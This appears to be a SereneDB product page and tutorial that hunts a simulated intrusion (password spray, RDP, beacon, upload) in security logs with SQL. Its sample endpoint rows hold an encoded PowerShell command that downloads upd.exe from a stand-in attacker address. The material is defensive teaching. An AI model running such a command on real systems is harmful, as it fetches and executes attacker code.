Cybersecurity data analytics: hunt threats across every log in one SQL query
Cybersecurity data analytics is searching security logs for signs of an attack and computing over what it finds: which address guessed passwords, which host calls home on a timer, what left the network. SereneDB keeps VPN, endpoint, proxy and DNS logs in one indexed table and answers each of these questions with one SQL statement.
curl https://install.serenedb.com | shWhat does cybersecurity data analytics do? Five hunts across one hour of security logs
Cybersecurity data analytics searches the logs of a network's gateways, endpoints and resolvers for signs of an attack and measures what it finds. Below is one simulated hour: 1,045 events from a VPN gateway, endpoint agents on 20 workstations, a web proxy and a DNS resolver, with one intrusion in it. Pick a hunt to run it; each is one SQL statement.
SELECT source, count(*) AS events, min(ts)::TIME AS first_seen, max(ts)::TIME AS last_seen FROM security_logs WHERE src_ip <<= '203.0.113.0/24' OR dst_ip <<= '203.0.113.0/24' OR domain = 'update-check.example.net' OR message @@ 'e93f505437d926dfc1c008a8b5d41d0b2f8cb2060bc33c12264eaa83d877b57c' GROUP BY source ORDER BY first_seen;
| source | events | first_seen | last_seen |
|---|---|---|---|
| vpn | 30 | 08:05:00 | 08:11:46 |
| proxy | 1 | 08:13:09 | 08:13:09 |
| edr | 2 | 08:13:11 | 08:13:15 |
| dns | 46 | 08:13:59 | 08:59:05 |
<<= asks the index for every address in the range, and the hash is one token of the line's index.SELECT src_ip, count(DISTINCT user_name) AS accounts, count(*) FILTER (WHERE action = 'login_failed') AS failures, list(user_name) FILTER (WHERE action = 'login_ok') AS logged_in FROM security_logs WHERE source = 'vpn' GROUP BY src_ip HAVING count(DISTINCT user_name) >= 5;
| src_ip | accounts | failures | logged_in |
|---|---|---|---|
| 203.0.113.47 | 30 | 29 | {j.alvarez} |
SELECT ts::TIME AS t, hostname, user_name, message FROM security_logs WHERE source = 'edr' AND message @@ ('powershell.exe' && ts_any(['encodedcommand', 'e', 'ec'])) ORDER BY ts;
| t | hostname | user_name | message |
|---|---|---|---|
| 08:13:04 | ws-110 | j.alvarez | process powershell.exe parent explorer.exe cmd: powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBXAFIAIABoAHQAdABwADoALwAvADIAMAAzAC4AMAAuADEAMQAzAC4ANAA3AC8AdQBwAGQALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAHUAcABkAC4AZQB4AGUA |
SELECT hostname, domain, count(*) AS lookups, round(avg(gap_s), 1) AS avg_gap_s, round(stddev(gap_s), 1) AS jitter_s FROM ( SELECT hostname, domain, epoch(ts - lag(ts) OVER (PARTITION BY hostname, domain ORDER BY ts)) AS gap_s FROM security_logs WHERE source = 'dns' ) GROUP BY ALL HAVING count(*) >= 10 AND stddev(gap_s) < 10 ORDER BY jitter_s;
| hostname | domain | lookups | avg_gap_s | jitter_s |
|---|---|---|---|---|
| ws-110 | update-check.example.net | 46 | 60.1 | 3.1 |
lag() gives the gap between one host's lookups of one domain, and its standard deviation tells a timer from people: ws-110 resolved update-check.example.net 46 times, every 60.1 s with 3.1 s of jitter. The 40 other host and domain pairs with ten or more lookups vary by 127 to 403 s.SELECT hostname, domain, count(*) AS posts, round(sum(bytes_out) / 1e6, 2) AS mb_out FROM security_logs WHERE source = 'proxy' AND action = 'POST' GROUP BY ALL ORDER BY sum(bytes_out) DESC LIMIT 3;
| hostname | domain | posts | mb_out |
|---|---|---|---|
| ws-110 | files.example.org | 1 | 50.33 |
| ws-113 | chat.example.com | 1 | 0.24 |
| ws-115 | chat.example.com | 1 | 0.23 |
What cybersecurity analytics needs from its data platform, and how SereneDB does it in SQL
The data platform under security analytics has to take in every log source, find indicators in text and in fields, treat IP addresses as networks, follow events in order and in time, keep months of logs searchable and decide who reads what. Lists of security analytics platforms compare products; these are the jobs, each with the SereneDB feature that does it and its docs.
| Need | How SereneDB does it | Looks like |
|---|---|---|
| Every log source, one table | A search table takes rows over the PostgreSQL protocol and from the NDJSON files a shipper writes, read with read_json; OTLP and Elasticsearch _bulk requests land in tables of their own. Docs → | INSERT INTO security_logs SELECT … FROM read_json('/tmp/dns-0900.ndjson') |
| Indicators in log text | An inverted index over the raw line keeps a hash, a domain, a path or an address whole as one token; phrases, any-of lists, patterns and fuzzy terms search it. Docs → | message @@ ('powershell.exe' && ts_any(['encodedcommand', 'e', 'ec'])) |
| Addresses and ranges | INET and CIDR columns work as in PostgreSQL, and the index answers =, <<= and >>= on them, so a whole subnet is one predicate. Docs → | src_ip <<= '203.0.113.0/24' |
| Sequences of events | MATCH_RECOGNIZE finds a pattern of rows in order, such as five or more failed sign-ins from one address followed by a success. Release notes → | PATTERN (fail{5,} ok) |
| Timing and baselines | Window functions give the gap between one host's events; aggregates turn the gaps into an average and a jitter. Docs → | epoch(ts - lag(ts) OVER (PARTITION BY hostname, domain ORDER BY ts)) |
| Retention | A scheduled job deletes the rows older than the period you keep. Docs → | CREATE JOB security_logs_retention EVERY 1 DAY AS DELETE … |
| A searchable archive | COPY writes old logs to Parquet, on disk or in S3, and an inverted index over a view of the files searches them where they are. Docs → | CREATE INDEX security_archive_idx ON security_archive USING inverted (…) |
| Who reads what | Roles and GRANT decide which tables and views each team reads; a view shows a team only the rows and columns it needs. Docs → | GRANT SELECT ON vpn_signins TO helpdesk |
| Dashboards | Grafana's built-in PostgreSQL data source runs raw SQL against SereneDB. Docs → | WHERE $__timeFilter(ts) |
Cybersecurity analytics architecture: every log source in one search table, every hunt in SQL
Events arrive over the PostgreSQL protocol or from the files a log shipper writes, and land in one search table whose inverted index covers the raw line, the addresses, the names and the time. Every hunt is a SELECT, Grafana reads it over the PostgreSQL protocol, and old hours move to Parquet that stays searchable. Hover a stage, or a lane inside the index.
Any client that writes to PostgreSQL
Events arrive as INSERT or COPY over the PostgreSQL wire protocol, from a pipeline, a script or a driver. The row below is ws-104's IT script from step 3; an address string casts to INET as it is written.
NDJSON files, read with one function
Log shippers write one JSON object per line. read_json reads a file or a glob of them, each key becomes a column, and the address and timestamp strings are cast on the way in. Logs that already flow through OpenTelemetry or into Elasticsearch's _bulk API have listeners of their own.
One search table for every source
A search table keeps its columns with its indexes and makes new rows searchable at the next refresh, every second by default. source says which system wrote a row, the addresses are INET values, and message keeps the line as it was written.
The line and every field hunts filter on
log_text splits the line on word boundaries and lowercases it, so an address, a domain, a path or a hash stays one token. The INET columns are indexed as addresses, and facets, such as events per action, come straight from the term dictionary.
Search the line for what an attacker typed
@@ matches the analyzed line: ts_any takes a list of tokens, && requires both sides. Here, PowerShell started with an encoded command, the Encoded PowerShell hunt of the lab.
A whole subnet in one predicate
<<= is true when an address lies in a range, and the inverted index answers it. With = on a domain and @@ on a hash in the same WHERE, one statement sweeps every source for an incident report's indicators.
Failures, then a success, in order
MATCH_RECOGNIZE, the row pattern matching of SQL:2016, reads one address's sign-ins in time order and returns where five or more failures run into a success. This is step 4.
The gap between one host's lookups
lag() over each host and domain gives the gap since the last lookup; the average and standard deviation of the gaps tell a timer from people. This is step 5.
Grafana panels in SQL
Add SereneDB as a PostgreSQL data source on port 7890 and write panels in raw SQL. Grafana replaces its time macros before sending; the statement below is what reached SereneDB.
Read the logs, never change them
GRANT gives analysts SELECT and nothing that writes, and a view gives the helpdesk the VPN sign-ins alone. A view reads its table with its owner's privileges, so the helpdesk needs no grant on the table.
Delete after 90 days, keep the files searchable
A CREATE JOB deletes what is past the period you keep. Before that, COPY … TO writes the rows to Parquet, and an inverted index over a view of the files searches them in place, on disk or in S3.
What security logs need from one engine
security_logsA hash, a domain or an address stays one token of the line's index, so a sweep is an index lookup.
message @@ 'e93f505437d926df…'INET columns compare, sort and contain as in PostgreSQL, and the index answers <<= on a range.
src_ip <<= '203.0.113.0/24'MATCH_RECOGNIZE matches a pattern of rows in time order; window functions measure the time between them.
MATCH_RECOGNIZE ( … PATTERN (fail{5,} ok) )SearchBench, 92 queries over 1B OpenTelemetry log rows: all 92 under the 60 s cap, median 31.0 ms.
otel_logs_1b · 26.09.1Tutorial: hunt through security logs in SQL, in five steps
From an empty server to an intrusion traced from its first guess to its upload: start SereneDB, create the table, load one hour of logs, then sweep the indicators, follow the spray and find the beacon.
docker run -d --name serenedb -p 7890:7890 \ -e POSTGRES_PASSWORD=<password> serenedb/serenedb:26.11.2 psql -h localhost -p 7890 -U postgres
CREATE TABLE security_logs ( ts TIMESTAMP, source VARCHAR, -- vpn, edr, proxy or dns hostname VARCHAR, user_name VARCHAR, src_ip INET, dst_ip INET, domain VARCHAR, action VARCHAR, bytes_out BIGINT, message VARCHAR -- the line as the source wrote it ) WITH (storage = 'search'); CREATE TEXT SEARCH DICTIONARY log_text AS split_text(case := 'lower') WITH (frequency, position); CREATE INDEX security_logs_idx ON security_logs USING inverted (ts, source, hostname, user_name, src_ip, dst_ip, domain, action, message log_text);
-- Twenty people, each with a workstation: ws-101 to ws-120 at 10.20.8.101 to .120. CREATE TABLE staff AS SELECT k, user_name, 'ws-' || (100 + k) AS hostname, ('10.20.8.' || (100 + k))::INET AS ip, ('198.51.100.' || (10 + 7 * k))::INET AS home_ip FROM unnest(['a.kim', 'b.lee', 'c.ng', 'd.patel', 'e.rossi', 'f.novak', 'g.silva', 'h.mueller', 'i.tanaka', 'j.alvarez', 'k.obrien', 'l.dubois', 'm.chen', 'n.kowalski', 'o.haddad', 'p.jensen', 'q.romero', 'r.singh', 's.olsen', 't.nguyen']) WITH ORDINALITY AS t(user_name, k); -- 2026-11-04, 08:00 to 09:00 UTC. VPN: nineteen people sign in from home, -- three of them after one mistyped password. INSERT INTO security_logs SELECT TIMESTAMP '2026-11-04 08:00:00' + to_seconds(x * x % 1000003 % 1500 + 60 - 20 * typo), 'vpn', 'vpn-gw-1', user_name, home_ip, CASE typo WHEN 0 THEN ('10.20.200.' || k)::INET END, NULL, CASE typo WHEN 0 THEN 'login_ok' ELSE 'login_failed' END, NULL, 'user ' || user_name || CASE typo WHEN 0 THEN ' logged in from ' || host(home_ip) || ', assigned 10.20.200.' || k ELSE ' login failed from ' || host(home_ip) || ': bad password' END FROM (SELECT *, k * 6997 + 101 AS x FROM staff), (VALUES (0), (1)) AS a(typo) WHERE user_name <> 'j.alvarez' AND (typo = 0 OR user_name IN ('c.ng', 'h.mueller', 'o.haddad')); -- DNS: thirty lookups per workstation, mostly mail and chat. x * x % 1000003 -- % 3600 scatters events over the hour, here and below. INSERT INTO security_logs SELECT TIMESTAMP '2026-11-04 08:00:00' + to_seconds(x * x % 1000003 % 3600), 'dns', hostname, NULL, ip, NULL, domain, 'query', NULL, 'query A ' || domain || ' from ' || host(ip) FROM (SELECT *, k * 7919 + i * 104729 AS x, ['mail.example.com', 'chat.example.com', 'login.example.com', 'git.example.com', 'docs.example.com', 'cdn.example.net', 'api.example.org', 'calendar.example.com'] [CASE WHEN i % 3 < 2 THEN i % 3 + 1 ELSE 3 + (k + i) % 6 END] AS domain FROM staff, generate_series(1, 30) AS g(i)); -- Web proxy: twelve requests per workstation, every fourth one a POST. INSERT INTO security_logs SELECT TIMESTAMP '2026-11-04 08:00:00' + to_seconds(x * x % 1000003 % 3600), 'proxy', hostname, user_name, ip, ('192.0.2.' || (10 + d))::INET, domain, method, bytes, method || ' https://' || domain || '/ 200 bytes_out=' || bytes FROM (SELECT *, k * 4243 + i * 7621 + 50021 AS x, (k + i) % 6 AS d, ['mail.example.com', 'chat.example.com', 'git.example.com', 'docs.example.com', 'api.example.org', 'calendar.example.com'][1 + (k + i) % 6] AS domain, CASE WHEN i % 4 = 0 THEN 'POST' ELSE 'GET' END AS method, CASE WHEN i % 4 = 0 THEN 4000 + k * i * 7919 % 250000 ELSE 300 + k * i * 97 % 1200 END AS bytes FROM staff, generate_series(1, 12) AS g(i)); -- Endpoint agent: five applications start on every workstation, and an IT -- inventory script runs on ws-104. INSERT INTO security_logs SELECT TIMESTAMP '2026-11-04 08:00:00' + to_seconds(x * x % 1000003 % 3600), 'edr', hostname, user_name, ip, NULL, NULL, 'process_start', NULL, 'process ' || exe || ' parent explorer.exe cmd: ' || cmd FROM (SELECT *, k * 24593 + i * 49157 AS x FROM staff, (VALUES (1, 'chrome.exe', '"C:\Program Files\Google\Chrome\Application\chrome.exe"'), (2, 'outlook.exe', '"C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"'), (3, 'ms-teams.exe', '"C:\Program Files\WindowsApps\MSTeams\ms-teams.exe"'), (4, 'excel.exe', '"C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE"'), (5, 'code.exe', '"C:\Program Files\Microsoft VS Code\Code.exe"')) AS apps(i, exe, cmd)); INSERT INTO security_logs VALUES ('2026-11-04 08:20:15', 'edr', 'ws-104', 'svc-it', '10.20.8.104', NULL, NULL, 'process_start', NULL, 'process powershell.exe parent svchost.exe cmd: powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\IT\inventory.ps1'); -- The intrusion. 08:05: a password spray from 203.0.113.47, one guess every -- 14 seconds; the eighteenth, j.alvarez, gets in. INSERT INTO security_logs SELECT TIMESTAMP '2026-11-04 08:05:00' + to_seconds(14 * (n - 1)), 'vpn', 'vpn-gw-1', u, '203.0.113.47', CASE WHEN u = 'j.alvarez' THEN '10.20.200.77'::INET END, NULL, CASE WHEN u = 'j.alvarez' THEN 'login_ok' ELSE 'login_failed' END, NULL, 'user ' || u || CASE WHEN u = 'j.alvarez' THEN ' logged in from 203.0.113.47, assigned 10.20.200.77' WHEN u IN (SELECT user_name FROM staff) THEN ' login failed from 203.0.113.47: bad password' ELSE ' login failed from 203.0.113.47: unknown user' END FROM unnest(['admin', 'a.kim', 'test', 'b.lee', 'c.ng', 'backup', 'd.patel', 'e.rossi', 'helpdesk', 'f.novak', 'g.silva', 'vpn', 'h.mueller', 'i.tanaka', 'scanner', 'svc-backup', 'guest', 'j.alvarez', 'k.obrien', 'l.dubois', 'oracle', 'm.chen', 'n.kowalski', 'root', 'o.haddad', 'p.jensen', 'q.romero', 'support', 'r.singh', 's.olsen']) WITH ORDINALITY AS t(u, n); -- 08:12: a remote desktop session from that VPN address to ws-110, an encoded -- PowerShell command, a download from 203.0.113.47; at 08:41 a 50 MB upload. INSERT INTO security_logs VALUES ('2026-11-04 08:12:31', 'edr', 'ws-110', 'j.alvarez', '10.20.200.77', '10.20.8.110', NULL, 'logon', NULL, 'logon type 10 (remote desktop) user j.alvarez from 10.20.200.77'), ('2026-11-04 08:13:04', 'edr', 'ws-110', 'j.alvarez', '10.20.8.110', NULL, NULL, 'process_start', NULL, 'process powershell.exe parent explorer.exe cmd: powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand SQBXAFIAIABoAHQAdABwADoALwAvADIAMAAzAC4AMAAuADEAMQAzAC4ANAA3AC8AdQBwAGQALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAHUAcABkAC4AZQB4AGUA'), ('2026-11-04 08:13:09', 'proxy', 'ws-110', 'j.alvarez', '10.20.8.110', '203.0.113.47', NULL, 'GET', 412, 'GET http://203.0.113.47/upd.exe 200 bytes_out=412'), ('2026-11-04 08:13:11', 'edr', 'ws-110', 'j.alvarez', '10.20.8.110', NULL, NULL, 'file_create', NULL, 'file created C:\Users\j.alvarez\upd.exe sha256 e93f505437d926dfc1c008a8b5d41d0b2f8cb2060bc33c12264eaa83d877b57c'), ('2026-11-04 08:13:15', 'edr', 'ws-110', 'j.alvarez', '10.20.8.110', NULL, NULL, 'process_start', NULL, 'process upd.exe parent powershell.exe sha256 e93f505437d926dfc1c008a8b5d41d0b2f8cb2060bc33c12264eaa83d877b57c cmd: C:\Users\j.alvarez\upd.exe'), ('2026-11-04 08:41:27', 'proxy', 'ws-110', 'j.alvarez', '10.20.8.110', '192.0.2.80', 'files.example.org', 'POST', 50331648, 'POST https://files.example.org/upload 200 bytes_out=50331648'); -- From 08:14, ws-110 looks up update-check.example.net about once a minute. INSERT INTO security_logs SELECT TIMESTAMP '2026-11-04 08:14:02' + to_seconds(60 * i + i * 37 % 7 - 3), 'dns', 'ws-110', NULL, '10.20.8.110', NULL, 'update-check.example.net', 'query', NULL, 'query A update-check.example.net from 10.20.8.110' FROM generate_series(0, 45) AS g(i); VACUUM (REFRESH_TABLE) security_logs; SELECT source, count(*) AS events FROM security_logs GROUP BY source ORDER BY source;
SELECT source, count(*) AS events, min(ts)::TIME AS first_seen, max(ts)::TIME AS last_seen FROM security_logs WHERE src_ip <<= '203.0.113.0/24' OR dst_ip <<= '203.0.113.0/24' OR domain = 'update-check.example.net' OR message @@ 'e93f505437d926dfc1c008a8b5d41d0b2f8cb2060bc33c12264eaa83d877b57c' GROUP BY source ORDER BY first_seen; SELECT * FROM (SELECT ts, src_ip, user_name, action FROM security_logs WHERE source = 'vpn') MATCH_RECOGNIZE ( PARTITION BY src_ip ORDER BY ts MEASURES count(fail.ts) AS failures, first(fail.ts)::TIME AS first_failure, ok.ts::TIME AS logged_in_at, ok.user_name AS account ONE ROW PER MATCH PATTERN (fail{5,} ok) DEFINE fail AS action = 'login_failed', ok AS action = 'login_ok' );
SELECT hostname, domain, count(*) AS lookups, round(avg(gap_s), 1) AS avg_gap_s, round(stddev(gap_s), 1) AS jitter_s FROM ( SELECT hostname, domain, epoch(ts - lag(ts) OVER (PARTITION BY hostname, domain ORDER BY ts)) AS gap_s FROM security_logs WHERE source = 'dns' ) GROUP BY ALL HAVING count(*) >= 10 AND stddev(gap_s) < 10 ORDER BY jitter_s; COPY (SELECT ts, source, hostname, user_name, host(src_ip) AS src_ip, host(dst_ip) AS dst_ip, domain, action, bytes_out, message FROM security_logs WHERE ts < TIMESTAMP '2026-11-05 00:00:00') TO '/tmp/security_logs_2026-11-04.parquet' (FORMAT parquet); CREATE VIEW security_archive AS SELECT ts, source, hostname, user_name, src_ip::INET AS src_ip, dst_ip::INET AS dst_ip, domain, action, bytes_out, message FROM read_parquet('/tmp/security_logs_*.parquet'); CREATE INDEX security_archive_idx ON security_archive USING inverted (ts, source, hostname, user_name, src_ip, dst_ip, domain, action, message log_text); SELECT source, count(*) AS events FROM security_archive_idx WHERE src_ip <<= '203.0.113.0/24' OR dst_ip <<= '203.0.113.0/24' OR domain = 'update-check.example.net' OR message @@ 'e93f505437d926dfc1c008a8b5d41d0b2f8cb2060bc33c12264eaa83d877b57c' GROUP BY source ORDER BY source;
What security teams build on SereneDB
A security dashboard in Grafana
Grafana's built-in PostgreSQL data source connects to SereneDB on port 7890, and each panel is a SQL query: failed sign-ins per minute by source network, lookups per domain, upload volume per host. Grafana turns its time macros, such as $__timeFilter, into plain SQL before the query is sent.
SELECT $__timeGroupAlias(ts, '1m'), network(set_masklen(src_ip, 24)) AS source_net, count(*) AS failed FROM security_logs WHERE $__timeFilter(ts) AND source = 'vpn' AND action = 'login_failed' GROUP BY 1, 2 ORDER BY 1, 2
| time | source_net | failed |
|---|---|---|
| 1793779500 | 203.0.113.0/24 | 5 |
| 1793779560 | 203.0.113.0/24 | 4 |
| 1793779620 | 203.0.113.0/24 | 4 |
| 1793779680 | 203.0.113.0/24 | 4 |
| 1793779740 | 203.0.113.0/24 | 4 |
| 1793779800 | 203.0.113.0/24 | 4 |
| 1793779860 | 203.0.113.0/24 | 4 |
| 1793780220 | 198.51.100.0/24 | 2 |
| 1793780340 | 198.51.100.0/24 | 1 |
Every address labeled with its network
A table of your own ranges, such as the offices, the VPN pool, partners and the ranges an incident report named, joins to every event on >>=, the containment operator: each address gets the name of the network it belongs to. The same table answers whose range one address is in.
CREATE TABLE networks (net CIDR, name VARCHAR); INSERT INTO networks VALUES ('10.20.8.0/24', 'workstations'), ('10.20.200.0/24', 'vpn pool'), ('198.51.100.0/24', 'home broadband'), ('192.0.2.0/24', 'saas'), ('203.0.113.0/24', 'reported range'); SELECT n.name AS network, count(*) AS sign_ins, count(*) FILTER (WHERE l.action = 'login_failed') AS failed, count(DISTINCT l.user_name) AS accounts FROM security_logs l JOIN networks n ON n.net >>= l.src_ip WHERE l.source = 'vpn' GROUP BY n.name ORDER BY sign_ins DESC;
| network | sign_ins | failed | accounts |
|---|---|---|---|
| reported range | 30 | 29 | 30 |
| home broadband | 22 | 3 | 19 |
Analysts read every log, the helpdesk only sign-ins
SereneDB uses PostgreSQL roles and GRANT. Analysts get SELECT on the table and nothing that changes it, so the logs stay as they were written; a view gives the helpdesk the VPN sign-ins and no other source.
CREATE ROLE soc_analyst; GRANT SELECT ON security_logs TO soc_analyst; CREATE VIEW vpn_signins AS SELECT ts, user_name, action FROM security_logs WHERE source = 'vpn'; CREATE ROLE helpdesk; GRANT SELECT ON vpn_signins TO helpdesk; SET ROLE soc_analyst; DELETE FROM security_logs WHERE source = 'vpn'; -- ERROR: permission denied for table security_logs SET ROLE helpdesk; SELECT count(*) FROM security_logs; -- ERROR: permission denied for table security_logs SELECT user_name, count(*) AS failed FROM vpn_signins WHERE action = 'login_failed' AND user_name IN ('c.ng', 'h.mueller') GROUP BY user_name ORDER BY user_name; RESET ROLE;
| user_name | failed |
|---|---|
| c.ng | 2 |
| h.mueller | 2 |
Cybersecurity data analytics is the analysis of the data a network and its devices record, such as sign-ins, process starts, web requests and DNS lookups, to find attacks and understand them: which account was taken, what ran, what left. It combines search, for indicators in log text, with computation, such as counts per address and the time between events. SereneDB does both in SQL over one table, as the hunts above show.
To hunt for attackers nobody has found yet, to investigate an incident, and to measure normal behavior so that the unusual stands out. Most of it is grouping, counting and timing over logs: failed sign-ins per address, uploads per host, the gaps between one host's lookups. Each hunt in the lab above is one such analysis in one SQL statement.
Security analytics is the practice of collecting security telemetry from across an organization, such as authentication, endpoint, network and DNS logs, and analyzing it to find and investigate threats. Its data platform has to search text and compute over fields in the same query; the checklist above lists the jobs and how SereneDB does each.
Threat hunting is searching for attackers who are already inside, starting from a hypothesis or an indicator before anything has flagged them. Each hunt is a query: every source for an address, a domain or a hash, one address trying many accounts, one host calling out on a timer. In SereneDB each is a SQL statement, and the five in the lab ran on 26.11.2.
Put the indicators in one WHERE clause: <<= for an address range, = for a domain and @@ for a hash or a path in the raw line. The line's index keeps each of them whole as one token, so every indicator is an index lookup across all sources. The Indicators hunt sweeps a range, a domain and a SHA-256 at once and finds 30 VPN, 1 proxy, 2 endpoint and 46 DNS events.
In INET and CIDR columns, which work as in PostgreSQL: <<= tests whether an address lies in a range, >>= whether a range contains an address, and network() with set_masklen() turns an address into its /24. An inverted index answers these operators, and a table of your networks joins to every event on >>=.
Group the failed sign-ins by source address and count the distinct accounts: spraying is one address against many accounts, a few guesses each (MITRE ATT&CK T1110.003). To catch the order, five or more failures followed by a success from one address, use MATCH_RECOGNIZE, which step 4 of the walkthrough runs.
Compute the gap between each host's requests to each domain with lag(), then the average and standard deviation of the gaps per pair. A beacon has many requests and a small deviation; people vary by minutes. In the hour above, ws-110's lookups come every 60.1 s with 3.1 s of jitter, while the 40 other busy pairs vary by 127 s or more.
As long as you keep them. A scheduled job deletes the rows past your retention period, and before that COPY can write them to Parquet, on disk or in S3. An inverted index over a view of the files keeps them searchable with the same SQL, and REINDEX INDEX takes in the files added since. Step 5 archives the hour and sweeps the file again.
With PostgreSQL roles: GRANT SELECT on the table to the analysts and nothing that writes, so the logs stay as they were written, and a view for teams that need part of them, such as the VPN sign-ins for the helpdesk. The Access example above shows both, and what the refused statements answer.
Yes. Add SereneDB as a PostgreSQL data source on port 7890 and write each panel in raw SQL; Grafana turns $__timeFilter and $__timeGroupAlias into plain SQL before sending it. The Dashboards example shows a panel of failed sign-ins per /24 and the rows it returned.
Over the PostgreSQL protocol with INSERT or COPY, from any client or pipeline that writes to PostgreSQL; from NDJSON files with read_json; over OTLP/HTTP into the OpenTelemetry tables; or through the Elasticsearch-compatible _bulk endpoint into tables of its own. SQL reads all of them, and joins them. SereneDB is open source under the Apache-2.0 license, with its source on GitHub, and its Docker image runs the walkthrough above.
Shippers that post NDJSON to Elasticsearch's _bulk endpoint can post to SereneDB's es listener, and SQL reads those indexes as tables beside security_logs. SereneDB vs Elasticsearch and SereneDB vs OpenSearch map Query DSL to SQL, and the log analysis page goes deeper into log search.
Get started with SereneDB
Start SereneDB, load your security logs into one search table, and hunt in SQL from psql, Grafana or any PostgreSQL client.